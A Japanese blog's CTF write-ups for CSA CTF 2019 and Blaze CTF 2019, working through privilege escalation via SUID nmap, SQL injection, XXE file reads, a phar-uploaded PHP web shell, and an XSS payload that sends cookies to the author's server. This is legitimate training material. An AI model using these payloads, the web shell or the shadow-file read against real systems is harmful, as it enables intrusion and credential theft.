こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

CSA CTF 2019 Writeup - Linux 2

Question

ssh user@35.231.176.102 -p1774 
Password: utsacyber

f:id:graneed:20190427233557p:plain

Solution

user@7ab7e9c7f6a4:~$ ll
total 32
drwxr-xr-x 1 user user 4096 Apr 27 14:35 ./
drwxr-xr-x 1 root root 4096 Apr 22 20:12 ../
-rw-r--r-- 1 user user  220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 user user 3771 Aug 31  2015 .bashrc
drwx------ 2 user user 4096 Apr 27 14:35 .cache/
-rw-r--r-- 1 user user  655 May 16  2017 .profile
-rw-rw-r-- 1 root root   10 Apr 22 20:56 readme.txt
user@7ab7e9c7f6a4:~$ cat readme.txt 
Get root.

Privilege Escalationする問題のようだ。

linuxprivcheckerとLinEnumを使用して、攻略の糸口を調査する。

linuxprivchecker

user@7ab7e9c7f6a4:~$ cd /tmp/
user@7ab7e9c7f6a4:/tmp$ wget https://www.securitysift.com/download/linuxprivchecker.py
--2019-04-27 14:39:10--  https://www.securitysift.com/download/linuxprivchecker.py
Resolving www.securitysift.com (www.securitysift.com)... 173.254.14.183
Connecting to www.securitysift.com (www.securitysift.com)|173.254.14.183|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 25304 (25K) [application/octet-stream]
Saving to: 'linuxprivchecker.py'

linuxprivchecker.py       100%[=====================================>]  24.71K  --.-KB/s    in 0s      

2019-04-27 14:39:10 (54.0 MB/s) - 'linuxprivchecker.py' saved [25304/25304]

user@7ab7e9c7f6a4:/tmp$ python linuxprivchecker.py 
=================================================================================================
LINUX PRIVILEGE ESCALATION CHECKER
=================================================================================================

[*] GETTING BASIC SYSTEM INFO...

[+] Kernel
    Linux version 4.15.0-1029-gcp (buildd@lcy01-amd64-029) (gcc version 7.3.0 (Ubuntu 7.3.0-16ubuntu3)) #31-Ubuntu SMP Thu Mar 21 09:40:28 UTC 2019

[+] Hostname
    7ab7e9c7f6a4

[+] Operating System
    Ubuntu 16.04.6 LTS \n \l

(snip)

[+] SUID/SGID Files and Directories
    -rwxr-sr-x 1 root shadow 35632 Apr  9  2018 /sbin/pam_extrausers_chkpwd
    -rwxr-sr-x 1 root shadow 35600 Apr  9  2018 /sbin/unix_chkpwd
    -rwsr-xr-x 1 root root 40128 May 16  2017 /bin/su
    -rwsr-xr-x 1 root root 40152 May 16  2018 /bin/mount
    -rwsr-xr-x 1 root root 27608 May 16  2018 /bin/umount
    -rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
    -rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
    drwxrwsr-x 7 root staff 4096 Apr 22 20:12 /usr/local/share/sgml
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/sgml/declaration
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/sgml/misc
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/sgml/stylesheet
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/sgml/dtd
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/sgml/entities
    drwxrwsr-x 6 root staff 4096 Apr 22 20:12 /usr/local/share/xml
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/xml/declaration
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/xml/misc
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/xml/schema
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/share/xml/entities
    drwxrwsr-x 3 root staff 4096 Apr 22 20:12 /usr/local/lib/python3.5
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/lib/python3.5/dist-packages
    drwxrwsr-x 4 root staff 4096 Apr 22 20:12 /usr/local/lib/python2.7
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/lib/python2.7/dist-packages
    drwxrwsr-x 2 root staff 4096 Apr 22 20:12 /usr/local/lib/python2.7/site-packages
    -rwsr-xr-x 1 root root 49584 May 16  2017 /usr/bin/chfn
    -rwsr-xr-x 1 root root 54256 May 16  2017 /usr/bin/passwd
    -rwsr-xr-x 1 root root 40432 May 16  2017 /usr/bin/chsh
    -rwsr-xr-x 1 root root 39904 May 16  2017 /usr/bin/newgrp
    -rwxr-sr-x 1 root shadow 62336 May 16  2017 /usr/bin/chage
    -rwsr-xr-x 1 root root 75304 May 16  2017 /usr/bin/gpasswd
    -rwxr-sr-x 1 root tty 27368 May 16  2018 /usr/bin/wall
    -rwxr-sr-x 1 root shadow 22768 May 16  2017 /usr/bin/expiry
    -rwsr-xr-x 1 root root 2770528 Mar 31  2016 /usr/bin/nmap
    -rwsr-xr-x 1 root root 136808 Jul  4  2017 /usr/bin/sudo
    -rwxr-sr-x 1 root ssh 358624 Mar  4 14:09 /usr/bin/ssh-agent
    -rwsr-xr-x 1 root root 428240 Mar  4 14:09 /usr/lib/openssh/ssh-keysign
    drwxrwsr-x 2 root staff 4096 Apr 12  2016 /var/local
    drwxrwsr-x 2 root mail 4096 Feb 22 10:05 /var/mail

(snip)

[+] Installed Tools
    /usr/bin/awk
    /usr/bin/perl
    /usr/bin/python
    /usr/bin/vi
    /usr/bin/vim
    /usr/bin/nmap
    /usr/bin/find
    /bin/netcat
    /bin/nc
    /usr/bin/wget

[+] Related Shell Escape Sequences...

    nmap-->  --interactive
    vi-->    :!bash
    vi-->    :set shell=/bin/bash:shell
    vi-->    :!bash
    vi-->    :set shell=/bin/bash:shell
    awk-->   awk 'BEGIN {system("/bin/bash")}'
    find-->  find / -exec /usr/bin/awk 'BEGIN {system("/bin/bash")}' \;
    perl-->  perl -e 'exec "/bin/bash";'

[*] FINDING RELEVENT PRIVILEGE ESCALATION EXPLOITS...

    Note: Exploits relying on a compile/scripting language not detected on this system are marked with a '**' but should still be tested!

    The following exploits are ranked higher in probability of success because this script detected a related running process, OS, or mounted file system

    The following exploits are applicable to this kernel version and should be investigated as well
    - Kernel ia32syscall Emulation Privilege Escalation || http://www.exploit-db.com/exploits/15023 || Language=c
    - Sendpage Local Privilege Escalation || http://www.exploit-db.com/exploits/19933 || Language=ruby**
    - CAP_SYS_ADMIN to Root Exploit 2 (32 and 64-bit) || http://www.exploit-db.com/exploits/15944 || Language=c
    - CAP_SYS_ADMIN to root Exploit || http://www.exploit-db.com/exploits/15916 || Language=c
    - MySQL 4.x/5.0 User-Defined Function Local Privilege Escalation Exploit || http://www.exploit-db.com/exploits/1518 || Language=c
    - open-time Capability file_ns_capable() Privilege Escalation || http://www.exploit-db.com/exploits/25450 || Language=c
    - open-time Capability file_ns_capable() - Privilege Escalation Vulnerability || http://www.exploit-db.com/exploits/25307 || Language=c

Finished
=================================================================================================

LinEnum

user@7ab7e9c7f6a4:/tmp$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
--2019-04-27 14:40:28--  https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.0.133, 151.101.64.133, 151.101.128.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.0.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45639 (45K) [text/plain]
Saving to: 'LinEnum.sh'

LinEnum.sh                                    100%[==============================================================================================>]  44.57K  --.-KB/s    in 0.02s   

2019-04-27 14:40:28 (1.84 MB/s) - 'LinEnum.sh' saved [45639/45639]

user@7ab7e9c7f6a4:/tmp$ chmod 777 ./LinEnum.sh 
user@7ab7e9c7f6a4:/tmp$ ./LinEnum.sh 

#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.96

[-] Debug Info
[+] Thorough tests = Disabled


Scan started at:
Sat Apr 27 14:41:02 UTC 2019

(snip)

### INTERESTING FILES ####################################
[-] Useful file locations:
/bin/nc
/bin/netcat
/usr/bin/wget
/usr/bin/nmap
/usr/bin/curl


[-] Can we read/write sensitive files:
-rw-r--r-- 1 root root 1328 Apr 22 20:12 /etc/passwd
-rw-r--r-- 1 root root 602 Apr 22 20:12 /etc/group
-rw-r--r-- 1 root root 575 Oct 22  2015 /etc/profile
-rw-r----- 1 root shadow 898 Apr 22 20:12 /etc/shadow


[-] SUID files:
-rwsr-xr-x 1 root root 40128 May 16  2017 /bin/su
-rwsr-xr-x 1 root root 40152 May 16  2018 /bin/mount
-rwsr-xr-x 1 root root 27608 May 16  2018 /bin/umount
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 49584 May 16  2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 54256 May 16  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 40432 May 16  2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 39904 May 16  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 75304 May 16  2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 2770528 Mar 31  2016 /usr/bin/nmap
-rwsr-xr-x 1 root root 136808 Jul  4  2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 428240 Mar  4 14:09 /usr/lib/openssh/ssh-keysign


[+] Possibly interesting SUID files:
-rwsr-xr-x 1 root root 2770528 Mar 31  2016 /usr/bin/nmap

(snip)

### SCAN COMPLETE ####################################

nmapがインストールされており、SUIDビットが立っていることがわかる。 しばらくWebを調査すると、以下の記事を発見する。

gtfobins.github.io

nmapの--scriptオプションが使用できそうだ。

上記の記事を試してみるが、そのままではShellの取得はできなかった。何かもう一工夫が必要なのだろうか。
ただ、File readの手順(を少し修正して)で、/etc/shadowファイルの読み込みはできた。

user@7ab7e9c7f6a4:/tmp$ TF=$(mktemp)
user@7ab7e9c7f6a4:/tmp$ echo 'f=io.open("/etc/shadow", "rb"); print(f:read("*a")); io.close(f);' > $TF
user@7ab7e9c7f6a4:/tmp$ nmap --script=$TF

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-27 14:43 UTC
WARNING: Running Nmap setuid, as you are doing, is a major security risk.

NSE: Warning: Loading '/tmp/tmp.Sr3NS1BmQI' -- the recommended file extension is '.nse'.
root:$6$i09NKN3z$3ubpJ2G77IKDzS5KKfYjGx3p4MM7ISlhKmDD/.4oJ8Yf88CkRnJVoqdS4BMh8Vae/fQg3.Rjvcbxb4IHgmAqn0:18008:0:99999:7:::
daemon:*:17949:0:99999:7:::
bin:*:17949:0:99999:7:::
sys:*:17949:0:99999:7:::
sync:*:17949:0:99999:7:::
games:*:17949:0:99999:7:::
man:*:17949:0:99999:7:::
lp:*:17949:0:99999:7:::
mail:*:17949:0:99999:7:::
news:*:17949:0:99999:7:::
uucp:*:17949:0:99999:7:::
proxy:*:17949:0:99999:7:::
www-data:*:17949:0:99999:7:::
backup:*:17949:0:99999:7:::
list:*:17949:0:99999:7:::
irc:*:17949:0:99999:7:::
gnats:*:17949:0:99999:7:::
nobody:*:17949:0:99999:7:::
systemd-timesync:*:17949:0:99999:7:::
systemd-network:*:17949:0:99999:7:::
systemd-resolve:*:17949:0:99999:7:::
systemd-bus-proxy:*:17949:0:99999:7:::
_apt:*:17949:0:99999:7:::
sshd:*:18008:0:99999:7:::
user:$6$xReGWCgk$2OD/Q2jXewLgbryfcZZugNCic/xBt.BKkbk5dB6BcRQmNdw.yw6PC1S8N40Tm7WymaTh4K927hFGUJ9aoSm/1.:18008:0:99999:7:::

NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:607: /tmp/tmp.Sr3NS1BmQI is missing required field: 'action'
stack traceback:
    [C]: in function 'error'
    /usr/bin/../share/nmap/nse_main.lua:607: in function 'new'
    /usr/bin/../share/nmap/nse_main.lua:805: in function 'get_chosen_scripts'
    /usr/bin/../share/nmap/nse_main.lua:1249: in main chunk
    [C]: in ?

QUITTING!

1つ前の問題のフラグがflag.txtファイルにあったこと、README.txtにGet root.と書かれていたことから、
/root/flag.txtがフラグファイルの場所と推測する。

user@7ab7e9c7f6a4:/tmp$ echo 'f=io.open("/root/flag.txt", "rb"); print(f:read("*a")); io.close(f);' > $TF
user@7ab7e9c7f6a4:/tmp$ nmap --script=$TF

Starting Nmap 7.01 ( https://nmap.org ) at 2019-04-27 14:44 UTC
WARNING: Running Nmap setuid, as you are doing, is a major security risk.

NSE: Warning: Loading '/tmp/tmp.Sr3NS1BmQI' -- the recommended file extension is '.nse'.
CSACTF{sh3_d0esnt_3v3n_g0_h3r3}

NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:607: /tmp/tmp.Sr3NS1BmQI is missing required field: 'action'
stack traceback:
    [C]: in function 'error'
    /usr/bin/../share/nmap/nse_main.lua:607: in function 'new'
    /usr/bin/../share/nmap/nse_main.lua:805: in function 'get_chosen_scripts'
    /usr/bin/../share/nmap/nse_main.lua:1249: in main chunk
    [C]: in ?

QUITTING!

フラグゲット。
CSACTF{sh3_d0esnt_3v3n_g0_h3r3}

CSA CTF 2019 Writeup - Web(全問)

CSA CTF 2019のWeb問を全完したのでWriteupを書く。難易度はかなり易しめ。

CSA Database 1 - Suspicious member

Question

We have a suspicious user in our system. See if you can find him. 
http://35.231.36.102:1776

f:id:graneed:20190427015836p:plain

Solution

" or "a"="aを入力。

f:id:graneed:20190427015942p:plain

シングルクォーテーションではなくダブルクォーテーションなのは珍しい。

CSACTF{0i_0i_Wh0_1s_th1s_guys?}

CSA Database 2 - Darkest Secret

Question

One of our officers is having a dark secret. Can you reveal it?
http://35.231.36.102:1777

f:id:graneed:20190427020254p:plain

Solution

CSA Database 1と同じ方法ではフラグは出ない。

" UNION ALL SELECT 1,1,1,1を入力すると1,1,1,1が表示された。
SQL Injectionの脆弱性自体は残っているようだ。

テーブル名を確認する。
" UNION ALL SELECT 1,1,table_schema,table_name from information_schema.tables #

f:id:graneed:20190427020641p:plain

列名を確認する。
" UNION ALL SELECT 1,1,1,column_name from information_schema.columns where table_name='csa_officers' #

f:id:graneed:20190427020744p:plain

怪しい列を発見したので表示する。
" UNION ALL SELECT 1,1,1,darkest_secret from csa_officers #

f:id:graneed:20190427020903p:plain

CSACTF{0h_n0!Y0u_F0und_My_S3cr3t!}

CSA Portal

Question

Are you a member of CSA yet?
Sign up here: http://35.231.36.102:1779/

f:id:graneed:20190427021058p:plain

Solution

サインアップ、ログインすると、メッセージを投稿する画面が表示される。

<script>location.href = "http://<myserver>/?" + document.cookie</script>を投稿。

しばらくすると、 GET /?PHPSESSID=6j48gtv0fktfn0cuqtvsl8g2u7にアクセスが来た。
Cookieにセットしてアクセスするとフラグを得られた。

CSACTF{blu3_1s_such_4_l4zy_sys_4dm1n!}

The Outer Space

Question

Our new authentication portal was just launched. Is it secured?
http://35.231.36.102:1774/

f:id:graneed:20190427021447p:plain

Solution

送信ボタンを押下すると、xxe.phpにPOSTする。
ファイル名をxxeにするとか、サービス過剰すぎない?

以下のXXEペイロードを送信して、phpソースコードを得る。

<!DOCTYPE hoge [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=xxe.php">
]>
<creds>
<user>&xxe;</user>
<pass>password</pass>
</creds>

得られたphpソースコードは以下の通り。

<?php 
    /**
     * This funtion will take a pattern and a folder as the argument and go thru it(recursivly if needed)and return the list of 
     *               all files in that folder.
     * Link             : http://www.bin-co.com/php/scripts/filesystem/ls/
     * Arguments     :  $pattern - The pattern to look out for [OPTIONAL]
     *                    $folder - The path of the directory of which's directory list you want [OPTIONAL]
     *                    $recursivly - The funtion will traverse the folder tree recursivly if this is true. Defaults to false. [OPTIONAL]
     *                    $options - An array of values 'return_files' or 'return_folders' or both
     * Returns       : A flat list with the path of all the files(no folders) that matches the condition given.
     */
    function ls($pattern="*", $folder="", $recursivly=false, $options=array('return_files','return_folders')) {
        if($folder) {
            $current_folder = realpath('.');
            if(in_array('quiet', $options)) { // If quiet is on, we will suppress the 'no such folder' error
                if(!file_exists($folder)) return array();
            }
            
            if(!chdir($folder)) return array();
        }
        
        
        $get_files    = in_array('return_files', $options);
        $get_folders= in_array('return_folders', $options);
        $both = array();
        $folders = array();
        
        // Get the all files and folders in the given directory.
        if($get_files) $both = glob($pattern, GLOB_BRACE + GLOB_MARK);
        if($recursivly or $get_folders) $folders = glob("*", GLOB_ONLYDIR + GLOB_MARK);
        
        //If a pattern is specified, make sure even the folders match that pattern.
        $matching_folders = array();
        if($pattern !== '*') $matching_folders = glob($pattern, GLOB_ONLYDIR + GLOB_MARK);
        
        //Get just the files by removing the folders from the list of all files.
        $all = array_values(array_diff($both,$folders));
            
        if($recursivly or $get_folders) {
            foreach ($folders as $this_folder) {
                if($get_folders) {
                    //If a pattern is specified, make sure even the folders match that pattern.
                    if($pattern !== '*') {
                        if(in_array($this_folder, $matching_folders)) array_push($all, $this_folder);
                    }
                    else array_push($all, $this_folder);
                }
                
                if($recursivly) {
                    // Continue calling this function for all the folders
                    $deep_items = ls($pattern, $this_folder, $recursivly, $options); # :RECURSION:
                    foreach ($deep_items as $item) {
                        array_push($all, $this_folder . $item);
                    }
                }
            }
        }
        
        if($folder) chdir($current_folder);
        return $all;
    }

    libxml_disable_entity_loader (false); 
    $xmlfile = $_POST['body']; //file_get_contents('php://input'); 
    $dom = new DOMDocument(); 
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom); 
    $user = $creds->user; 
    $pass = $creds->pass; 
    echo "<html> <head> <link rel=\"stylesheet\" type=\"text/css\" href=\"./countrylane.css\"></head>";
    if ($user == "admin") {
        if ($pass == "0e1234") {
            echo "<p> The creds [ $user : $pass ] were correct! </p>";
            echo "<br>";
            print("<p> You won the directory listing! </p>");
            echo "<br>";
            $listing = ls("*");
            echo "<p>";
            print_r($listing);
            echo "</p>";
        } else {
            echo "Wrong password [ $user : $pass ]";
        }
    } else {
        echo "<p> Wrong creds [ $user : $pass ] </p>";
    }
?> 

user/passがadmin/0e1234であることがわかる。

<creds>
<user>admin</user>
<pass>0e1234</pass>
</creds>

を入力するとlsコマンドが実行され、flag.txtが存在することがわかる。

最初と同じ要領でflag.txtを取得。

<!DOCTYPE hoge [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=flag.txt">
]>
<creds>
<user>&xxe;</user>
<pass>password</pass>
</creds>

CSACTF{1_d0nt_kn0w_wh4t_t0_put_h3r3_lm40}

Huzzah

Question

http://35.231.36.102:1775/

f:id:graneed:20190427022718p:plain

huzzah.php

<?php

echo("<html><head><link rel=\"stylesheet\" type=\"text/css\" href=\"./oldtown.css\"></head>");

class Magic {
    function __destruct() {
        $a = $this->data;

        if (strstr($a, ";") !== false or strstr($a, "&") !== false) {
            echo("<p>[-] That's bad, don't do that" . "</p><br>");
        } elseif (strcmp($a, "flag.txt") === 0) {
            echo("<p>[+] Attempting a magic trick!" . "</p><br>");
            include($a);
            //eval($this->data . ";");
        } else {
            echo("<p>[-] You gave bad input - " . $a . "</p><br>");
        }

        system("rm uploads/magic.phar");
    }
}

include('phar://uploads/magic.phar');

//echo(file_exists("phar://uploads/magic.phar"));
echo("<a id=\"huzzah\" href=\"index.html\">GO BACK --</a>");

?>

Solution

URLにアクセスすると、pharファイルをアップロードする機能と、huzzah.phpへのリンク。

適当にpharファイルを作ってアップロードしてみると、magic.pharというファイル名でないと受け付けてくれないことがわかる。

次に、huzzah.phpソースコードを確認すると、以下のincludeを実行している。
include('phar://uploads/magic.phar');
magic.pharをアップロードしてhuzzah.phpにアクセスしたら実行してくれそう。

簡易webshellを含むmagic.pharを作る。

・makephar.php

<?php
    $phar = new Phar('magic.phar', 0);
    $phar->addFile('index.php');

・index.php

<?php
if($_GET['cmd']) {
  system($_GET['cmd']);
}
root@kali:~/Contest/CTACTF2019# php makephar.php 
root@kali:~/Contest/CTACTF2019# ll magic.phar 
-rwxrwxrwx 1 root root 6779 Apr 27 00:24 magic.phar

magic.pharをアップロードして/huzzah.php?cmd=lsへアクセスしてみる。

f:id:graneed:20190427023141p:plain

flag.txtがあることがわかった。 /huzzah.php?cmd=cat%20flag.txtへアクセスするとフラグを得られた。

CSACTF{php_1s_full_0f_m@g1c}

Biscuits Shop

Question

Get your biscuits today: http://35.231.36.102:1773/

f:id:graneed:20190427023339p:plain

Solution

アカウントの登録とログインが可能。

適当にアカウントを作成すると、そのまま自動でログインして、以下のメッセージが表示される。

Get your biscuit today
Welcome to the The Biscuit Shop.

Flag only available for "admin"..

Feature coming soon. You are currently logged in as <アカウント名>!

adminでアカウントを作成しようとするが当然失敗。

SQL Injectionの脆弱性を疑い、Usernameが' or 'A'='Aのアカウントを作成したところ、 アカウント作成の失敗のメッセージが表示されず、トップ画面に飛ばされる。 また、ログイン成功したときに得られるCookieのauthパラメータが返却されるという不思議な挙動。

原因を切り分けたところ、アカウント名に=文字が入っていると、この挙動になることを突き止める。

試しにusernameをadmin=にしてアカウントを作成してみる。
f:id:graneed:20190427023724p:plain

は・・・?フラグが得られた。
想定解とは異なる気がするが。

CSACTF{4_c00k1e_4_d4y_k33ps_th3_s4dn3ss_4w4y}

Blaze CTF 2019 Writeup - Pirates

Question

What is a Pirate's favorite letter?
You may think it's R, but their true love is the C.
http://chal.420blaze.in:42008

f:id:graneed:20190427225423p:plain

Solution

簡単に画面を操作する。

  • create accountは、submitするとuser_idが払い出される。
  • set secretは、user_idを使用してsecret値のセットができる。secret_idが払い出される。
  • get secretは、set secretで払い出されたsecret_idをキーにsecret値の取得ができる。

robots.txtを見ると、/sourceがあることがわかる。/sourceにアクセスすると、fileパラメータに拡張子pyのファイル名をセットするとソースコードが見れそうなことがわかる。app.pyソースコードを参照する。

#!/usr/bin/env python3
from flask import Flask, request, redirect
import uuid
import os

app = Flask(__name__)

user_to_secret = {}


class UserSecrets:
    def __init__(self, secrets=[]):
        self.secrets = secrets

    def add_secret(self, secret):
        self.secrets.append(secret)
        return len(self.secrets) - 1

    def get_secret(self, secret_index):
        try:
            return self.secrets[secret_index]
        except KeyError:
            return "Secret does not exist!"


@app.route("/source")
def source():
    a = request.args['file']
    if not a[-3:] == '.py':
        return "You can only view the source of a python file."
    with open(a) as f:
        return f.read()


@app.route("/robots.txt")
def robots():
    return "User-agent: *\nDisallow: /source"


@app.route("/")
def hello():
    return """Hello! Are you a robot? This is a secret management server.
<h2>create account:</h2>
<form action="/create_account" method="post" name="form">
  Starting secrets: </br>
  <input type="text" name="secrets" value="secret0" />
  <input type="text" name="secrets" value="secret1" />
  <input type="text" name="secrets" value="secret2" />
  <button>Submit</button>
</form>
<span id="result"></span>
<script>
//var form;

document.form.onsubmit = function (e) {
  // stop the regular form submission
  e.preventDefault();

  // collect the form data while iterating over the inputs
  var data = [];
  for (var i = 0, ii = form.length; i < ii; ++i) {
    var input = form[i];
    if (input.name) {
      data.push(input.value);
    }
  }

  // construct an HTTP request
  var xhr = new XMLHttpRequest();
  xhr.open(form.method, form.action, true);
  xhr.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');

  // send the collected data as JSON
  xhr.send(JSON.stringify(data));

  xhr.onloadend = function (r) {
    console.log(r);
    document.getElementById("result").innerHTML=r.srcElement.responseText;
  };
};
</script>

<h2>set secret:</h2>
<form action="/secrets" method="post">
  Create Account:<br>
  user_id:<br>
  <input type="text" name="user_id" value="userid"><br>
  secret:<br>
  <input type="text" name="secret" value="A Secret"><br><br>
  <input type="submit" value="Submit">
</form>

<h2>get secret:</h2>
<form action="/secrets" method="get">
  user_id:<br>
  <input type="text" name="user_id" value="userid"><br>
  secret_id:<br>
  <input type="text" name="secret_id" value="2"><br><br>
  <input type="submit" value="Submit">
</form>

"""


@app.route("/create_account", methods=["POST"])
def create_account():
    secrets = request.get_json()
    user_id = str(uuid.uuid4())
    if isinstance(secrets, list):
        user_to_secret[user_id] = UserSecrets(secrets)
    else:
        user_to_secret[user_id] = UserSecrets()
    return user_id


@app.route("/secrets", methods=["POST", "GET", "DELETE"])
def secret():
    if request.method == "POST":
        user_id = request.form.get("user_id")
        secret = request.form.get("secret")
        try:
            return str(user_to_secret[user_id].add_secret(secret))
        except KeyError:
            return "You do not have a SecretStorage!"
    else:
        user_id = request.args.get("user_id")
        try:
            secret_id = int(request.args.get("secret_id"))
        except TypeError:
            return "The secret id should be an integer!"
        try:
            return user_to_secret[user_id].get_secret(secret_id)
        except KeyError:
            return "You do not have a SecretStorage!"


if __name__ == "__main__":
    admin_secrets = UserSecrets()
    admin_secrets.add_secret(os.environ['FLAG'])
    app.run(debug=True, port=42069, host="0.0.0.0")

起動時にUserSecretsクラスのインタンスを生成し、add_secretメソッドでFLAGをセットしている。

UserSecretsクラスのインスタンス生成時に呼ばれる__init__メソッドを確認すると、secretsのデフォルト引数を空のリストにしている。

デフォルト引数に、リストと辞書を使う場合は注意が必要である。
以下の記事の「リストや辞書をデフォルト値とした場合の注意点」がわかりやすい。
note.nkmk.me

つまり、UserSecretsクラスのインスタンス生成時に引数を渡さなければ、FLAGを追加済みのsecretsリストを持ったインスタンスを生成できることがわかる。

create_accountメソッドのソースを見ると、JSON形式かつリストではないデータをPOSTすれば、引数なしのUserSecretsクラスのインスタンスが生成できる。

ディクショナリ型の{"aaa":"bbb"}/create_accountにPOSTしてアカウントを作成し、user_idを払い出す。

# curl http://chal.420blaze.in:42008/create_account -H "Content-Type: application/json;charset=UTF-8" -d '{"aaa":"bbb"}'
a006e40e-9759-4e26-99b4-d6aa073c9c3b

secret_idに0をセットして、FLAGが格納されているであろうsecretsリストの0番目の値を取得する。

# curl http://chal.420blaze.in:42008/secrets -GET -d "user_id=a006e40e-9759-4e26-99b4-d6aa073c9c3b&secret_id=0"
blaze{py3h0n_d3f4ul7_Arrrrgh}

フラグゲット。